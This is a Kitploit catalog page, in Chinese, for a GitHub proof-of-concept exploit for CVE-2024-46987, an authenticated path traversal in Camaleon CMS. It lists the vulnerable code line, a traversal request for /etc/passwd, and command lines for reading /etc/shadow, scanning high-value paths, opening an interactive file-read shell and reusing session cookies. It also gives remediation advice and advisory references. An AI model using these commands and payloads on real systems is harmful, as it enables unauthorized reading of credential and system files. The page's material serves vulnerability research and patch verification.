Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-46987 — PoC 漏洞利用程序,针对 CVE-2024-46987 — Camaleon CMS 任意路径遍历(文件读取) | Kitploit
工具/GitHubGitHub/blueberryp1ll/cve-2024-46987
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC 漏洞利用程序,针对 CVE-2024-46987 — Camaleon CMS 任意路径遍历(文件读取)

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-46987 — Camaleon CMS 任意路径遍历

仅限授权的安全评估、渗透测试和教育研究使用。

概述

字段详情
CVECVE-2024-46987
产品Camaleon CMS
版本>= 2.8.0, < 2.8.2(在 2.9.0 上也已确认)
类型路径遍历 / 任意文件读取 (CWE-22)
认证需要(任意低权限账户)
CVSS7.7 高 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
修复版本2.8.2

漏洞详情

MediaController#download_private_file 将 params[:file] 未经消毒地传入 fetch_file:

root@kitploit:~
# Vulnerable sink
fetch_file("private/#{params[:file]}")

在值被用于 send_file 之前,未应用任何路径规范化,这允许经过身份验证的攻击者使用 ../ 序列逃逸出 private/ 目录,并读取 Rails 进程有权访问的任意文件。

漏洞端点:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

要求

  • Python 3.8+
  • requests 库
root@kitploit:~
pip3 install requests

用法

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

基于凭证的身份验证

root@kitploit:~
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

重用现有会话(来自 Burp Suite / 浏览器开发者工具)

root@kitploit:~
# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

选项

关于 /proc 伪文件的说明

/proc/self/ 下的文件(例如 environ、cmdline)返回 HTTP 200 但响应体为空。这是预期行为——内核报告其大小为 0,因此 Rails 的 send_file 不流式传输任何内容。请改用常规平面文件。

修复措施

将 Camaleon CMS 升级到 2.8.2 或更高版本。该补丁添加了适当的路径规范化,并确保在调用 send_file 之前,解析后的路径仍保持在预期目录内。

或者:

  • 在使用前规范化所有用户提供的文件路径。
  • 拒绝任何包含 .. 序列的输入。
  • 对运行 Rails 进程的操作系统用户应用最小权限原则。

参考

  • GHSA-cp65-5m9r-vc2c — GitHub 公告
  • GHSL-2024-183 — GitHub 安全实验室
  • NVD — CVE-2024-46987

免责声明

本概念验证发布仅用于教育目的,旨在帮助安全专业人员在授权的测试环境中理解和重现该漏洞。作者不对任何滥用行为负责。在测试不属于您的系统之前,请务必获得明确的书面许可。

下载工具
标志描述
-u目标基础 URL
-U / -PCMS 用户名和密码
--cookie原始 Cookie 字符串(凭证替代方案)
-f要读取的文件路径(默认:/etc/passwd)
-d遍历深度 — 前置 ../ 的数量(默认:10)
--interesting遍历内置的高价值路径列表
--interactive交互式文件读取 Shell
--no-verify禁用 TLS 证书验证
--debug详细输出以诊断身份验证失败